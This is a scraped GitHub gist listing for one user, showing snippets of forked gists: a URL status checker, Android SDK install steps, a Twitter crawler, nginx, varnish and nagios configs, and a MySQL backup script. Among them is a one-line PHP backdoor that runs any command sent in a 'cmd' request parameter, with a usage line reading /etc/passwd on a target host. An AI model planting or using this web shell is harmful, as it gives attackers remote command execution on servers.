Skip to content

Instantly share code, notes, and snippets.

View socketpy's full-sized avatar
🏠
Working from home

d4shz3r0 socketpy

🏠
Working from home
  • d4shz3r0
  • Bali - Indonesia
View GitHub Profile
@socketpy
socketpy / example_urls.txt
Created July 22, 2024 13:18 — forked from Mr0grog/example_urls.txt
Check the HTTP status codes for a list of URLs in a file. Undoubtedly there are fancier ways to do this with wget or some other common Linux utilities, but I’m not good enough at bash scripting to find a way to do that with minimal memory usage (if the list of URLs is millions long) and with nice formatting, so I just wrote a script.
www.energy.gov
gobbledegook
apple.com
www.gpo.gov
httpstat.us/404
@socketpy
socketpy / install-android-sdk-in-ubuntu.md
Created June 18, 2024 03:39 — forked from EmadAdly/install-android-sdk-in-ubuntu.md
install JDK and Android SDK on Linux Ubuntu

install openjdk

sudo add-apt-repository ppa:openjdk-r/ppa
sudo apt-get update
sudo apt-get install openjdk-8-jdk
<!-- Simple PHP Backdoor By DK (One-Liner Version) -->
<!-- Usage: http://target.com/simple-backdoor.php?cmd=cat+/etc/passwd -->
<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }?>
@socketpy
socketpy / twitter crawler.txt
Created August 20, 2019 04:39 — forked from vickyqian/twitter crawler.txt
A Python script to download all the tweets of a hashtag into a csv
import tweepy
import csv
import pandas as pd
####input your credentials here
consumer_key = ''
consumer_secret = ''
access_token = ''
access_token_secret = ''
auth = tweepy.OAuthHandler(consumer_key, consumer_secret)
@charset 'UTF-8';
/* Slider */
.slick-loading .slick-list
{
background: #fff url('./ajax-loader.gif') center center no-repeat;
}
/* Icons */
@font-face
{
@socketpy
socketpy / distro
Created April 13, 2018 14:11 — forked from riptidewave93/distro
Observium Distro Script
#!/bin/sh
#
# Observium License Version 1.0
# =============================
#
# Copyright (c) 2013-2015 Joe Holden, (c) 2015-2016 Observium Limited
#
# The intent of this license is to establish the freedom to use, share and contribute to
# the software regulated by this license.
#
@socketpy
socketpy / nginx.conf
Created December 16, 2017 16:47 — forked from v0lkan/nginx.conf
Configuring NGINX for Maximum Throughput Under High Concurrency
user web;
# One worker process per CPU core.
worker_processes 8;
# Also set
# /etc/security/limits.conf
# web soft nofile 65535
# web hard nofile 65535
# /etc/default/nginx
@socketpy
socketpy / MySQL Backup Bash Script
Created December 14, 2017 13:20 — forked from sugeng/MySQL Backup Bash Script
Backup MySQL Using bash script for linux
#!/bin/bash
MySQLUSER="homestead" # USERNAME
MySQLPASS="secret" # PASSWORD
MySQLHOST="localhost" # HOSTNAME
# Linux executetable path..
MYSQL="$(which mysql)"
MYSQLDUMP="$(which mysqldump)"
GZIP="$(which gzip)"
@socketpy
socketpy / etc-sysconfig-varnish.sh
Created December 5, 2017 01:53 — forked from victorvhpg/etc-sysconfig-varnish.sh
/etc/sysconfig/varnish
# Configuration file for varnish
#
# /etc/init.d/varnish expects the variable $DAEMON_OPTS to be set from this
# shell script fragment.
#
# Maximum number of open files (for ulimit -n)
NFILES=131072
# Locked shared memory (for ulimit -l)
@socketpy
socketpy / _nagios with nginx on ubuntu_
Created November 21, 2017 00:33 — forked from arachnafobic/_nagios with nginx on ubuntu_
nagios with nginx on ubuntu 12.04.3 LTS
- Setting up nagios server on Ubuntu 12.04.3 LTS
This describes how to setup a nagios server with nginx
and configure various checks.
The checks are specific to my needs, your millage may vary.
== Install the required packages ==
== w/ sudo ==